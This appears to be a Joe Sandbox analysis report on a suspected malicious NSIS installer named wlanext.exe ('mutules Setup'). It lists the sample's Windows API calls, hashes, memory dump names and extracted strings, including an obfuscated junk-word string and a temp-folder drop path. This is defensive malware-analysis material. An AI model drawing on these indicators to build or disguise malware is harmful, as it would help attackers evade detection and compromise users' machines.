Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4a69860c6089f1fb7fd455c1891d9cc54c05e48a968a67635bcc5e625bd0c43f
Instruction ID: 2e597581bf20324382b204af2e2b9293bc3b27f4d9e8cb915424ec39c2be7a6e
Opcode Fuzzy Hash: 4a69860c6089f1fb7fd455c1891d9cc54c05e48a968a67635bcc5e625bd0c43f
Instruction Fuzzy Hash: A7D09E31658201EFFF098F20DD16F2EBBA2EB84B00F10962CBA92941E0D6755815DB26

Uniqueness

Uniqueness Score: -1.00%

Function 00405B45 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,0040575D,?,?,00000000,00405940,?,?,?,?), ref: 00405B4A
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405B5E

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction ID: 899457fb2a373ec916eabf998b05f3716e4ca5246c779d0db29ba2cd27af7bf6
Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction Fuzzy Hash: E2D01272908521AFC6102738ED0C89BBF65EB543717058B31FDB9E22F0D7345C528AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405653 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004032B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 00405659
GetLastError.KERNEL32 ref: 00405667

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 0da22567c4b446b4f42a21ca14333010da7ca755278e2de90fea66cf95c641d8
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: 80C04C30A19502DAD7105B31DD08F177E60EB50741F548935A10AE11F0D6769451DD3F

Uniqueness

Uniqueness Score: -1.00%

Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 6b5e48cc008279052f1a47b51cc32cf127a00dc2733201354761e156b3ebbbdf
Instruction ID: 5f6267e841dd840bf6295cbe1617e7a0042591bb1814ca2e8a4844537e2a2c78
Opcode Fuzzy Hash: 6b5e48cc008279052f1a47b51cc32cf127a00dc2733201354761e156b3ebbbdf
Instruction Fuzzy Hash: 67E04F31B001246BD7307AB10F8E97F10999BC4304B39153ABA01B62C6EDBC4C414AB9

Uniqueness

Uniqueness Score: -1.00%

Function 00405C11 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,00410517,0040A8D8,004031F8,0040A8D8,00410517,004128D8,00004000,?,00000000,00403022,00000004), ref: 00405C25

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: a68fbbb5dd244fa7f7e93bb3aa8c49248ed304819acaaafe9587b6e0b9a7c414
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 59E0EC3261835EAFEF209E659C00AEB7B6CEB05361F048836FD15E2150D271E8219BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402C00

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction ID: e7f2061ded5818062db825bc0413707355dbbb7a887edde82a058a89c260750b
Opcode Fuzzy Hash: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction Fuzzy Hash: 5EE046B6250108BADB00EFA4EE4AFA537ECAB44700F008021B608E60A1C678E6108B79

Uniqueness

Uniqueness Score: -1.00%

Function 00405BE2 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,004128D8,0040A8D8,00403274,00409130,00409130,00403178,004128D8,00004000,?,00000000,00403022), ref: 00405BF6

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: ffd4dfc917ffc97e7d907f9c2c90699c203f3b0ebfd4578ed28d6b2a376640fe
Instruction ID: ff987474db4941a2a63fe891919fb2946ba1e32a0df937fa27738628adbeee07
Opcode Fuzzy Hash: ffd4dfc917ffc97e7d907f9c2c90699c203f3b0ebfd4578ed28d6b2a376640fe
Instruction Fuzzy Hash: 5EE0EC3261835AABEF509E559C04EEB7B6CFB05360F045432FD15E2190D275E8219BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00404128 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00040460,00000000,00000000,00000000), ref: 0040413A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 50a7dacb6371fe0cd67611078dbaf3ccf85a23f01bbb2752a0812b92d5b89748
Instruction ID: 75e74fd11ebe5bc6c3f22cf38e5f61c8940f983f04da59faa373adfcae7f6129
Opcode Fuzzy Hash: 50a7dacb6371fe0cd67611078dbaf3ccf85a23f01bbb2752a0812b92d5b89748
Instruction Fuzzy Hash: 82C04C717442017AEA218B519D49F0677586794700F6544257320A60D0C6B4E450E62D

Uniqueness

Uniqueness Score: -1.00%

Function 00403277 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F75,?), ref: 00403285

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Uniqueness

Uniqueness Score: -1.00%

Function 00404111 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3d364c0f7cae05b6249e8bcc12743ca4c2e9a63f4273028bf1a1c1708aea3851
Instruction ID: a78b9239c319e9cb66b61a8ea9955aebbc10e43728856a3b978814f56e37e297
Opcode Fuzzy Hash: 3d364c0f7cae05b6249e8bcc12743ca4c2e9a63f4273028bf1a1c1708aea3851
Instruction Fuzzy Hash: 19B092B6684200BAEE228B00DD09F457AB2E7A8742F008024B200240B0CAB200A1DB19

Uniqueness

Uniqueness Score: -1.00%

Function 004040FE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403EDB), ref: 00404108

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 14a97dc87043aa2e894c667cdbf79e2d841fd90f9686f850a1099e45bc3f86c8
Instruction ID: 4b90da896e4fa09681504a9dabf2ba00c57f91177066947fb67d52e8ca440c18
Opcode Fuzzy Hash: 14a97dc87043aa2e894c667cdbf79e2d841fd90f9686f850a1099e45bc3f86c8
Instruction Fuzzy Hash: FCA012324040009BCB014B90FE04C457F31A754300701C031E10180030C2310824FF09

Uniqueness

Uniqueness Score: -1.00%

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f7026e0f77918b8d466e0e4437154056e0e3b9c71b7fecc9309c961ffb3fc52e
Instruction ID: 6696c5b565abb4b072559f1c40de02a1b67f072cada9199909c9bbabd3d4a8ec
Opcode Fuzzy Hash: f7026e0f77918b8d466e0e4437154056e0e3b9c71b7fecc9309c961ffb3fc52e
Instruction Fuzzy Hash: 1CD05EB3B14141ABDB20EBB8BAC445E77E4EB403257304837E502E2091E6798A428618

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404A8D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404AA5
GetDlgItem.USER32(?,00000408), ref: 00404AB0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404AFA
LoadBitmapA.USER32(0000006E), ref: 00404B0D
SetWindowLongA.USER32(?,000000FC,00405084), ref: 00404B26
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404B3A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404B4C
SendMessageA.USER32(?,00001109,00000002), ref: 00404B62
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404B6E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404B80
DeleteObject.GDI32(00000000), ref: 00404B83
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404BAE
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404BBA
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C4F
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404C7A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C8E
GetWindowLongA.USER32(?,000000F0), ref: 00404CBD
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404CCB
ShowWindow.USER32(?,00000005), ref: 00404CDC
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404DD9
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404E3E
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404E53
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404E77
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404E97
ImageList_Destroy.COMCTL32(00000000), ref: 00404EAC
GlobalFree.KERNEL32(00000000), ref: 00404EBC
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404F35
SendMessageA.USER32(?,00001102,?,?), ref: 00404FDE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404FED
InvalidateRect.USER32(?,00000000,00000001), ref: 0040500D
ShowWindow.USER32(?,00000000), ref: 0040505B
GetDlgItem.USER32(?,000003FE), ref: 00405066
ShowWindow.USER32(00000000), ref: 0040506D

Strings

, xrefs: 00405045
M, xrefs: 00404C36
N, xrefs: 00404D17

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: ba7290f4b2f558e76718ca09df7d9ac4a37db348ff9a84ef3540181398f9072b
Instruction ID: e0cc5522092fb32f5c2674b78011ac89e49f6c9f2dab24d514a8ff43177d9d20
Opcode Fuzzy Hash: ba7290f4b2f558e76718ca09df7d9ac4a37db348ff9a84ef3540181398f9072b
Instruction Fuzzy Hash: 1E025EB0900209AFEB209F94DC85AAE7BB5FB84315F10817AF611B62E1C7799D42DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040451A Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404569
SetWindowTextA.USER32(00000000,?), ref: 00404593
SHBrowseForFolderA.SHELL32(?,0041F108,?), ref: 00404644
CoTaskMemFree.OLE32(00000000), ref: 0040464F
lstrcmpiA.KERNEL32(004226C0,mutules Setup: Installing), ref: 00404681
lstrcatA.KERNEL32(?,004226C0), ref: 0040468D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040469F

Part of subcall function 004056D1: GetDlgItemTextA.USER32(?,?,00000400,004046D6), ref: 004056E4

Part of subcall function 00406162: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\a\wlanext.exe" ,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061BA
Part of subcall function 00406162: CharNextA.USER32(?,?,?,00000000), ref: 004061C7
Part of subcall function 00406162: CharNextA.USER32(?,"C:\Users\user\Desktop\a\wlanext.exe" ,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061CC
Part of subcall function 00406162: CharPrevA.USER32(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061DC

GetDiskFreeSpaceA.KERNEL32(0041ED00,?,?,0000040F,?,0041ED00,0041ED00,?,00000001,0041ED00,?,?,000003FB,?), ref: 0040475D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404778

Part of subcall function 004048D1: lstrlenA.KERNEL32(mutules Setup: Installing,mutules Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
Part of subcall function 004048D1: wsprintfA.USER32 ref: 00404977
Part of subcall function 004048D1: SetDlgItemTextA.USER32(?,mutules Setup: Installing), ref: 0040498A

Strings

mutules Setup: Installing, xrefs: 00404617, 0040467A
C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically, xrefs: 0040466A
Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri, xrefs: 00404533
A, xrefs: 0040463D

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
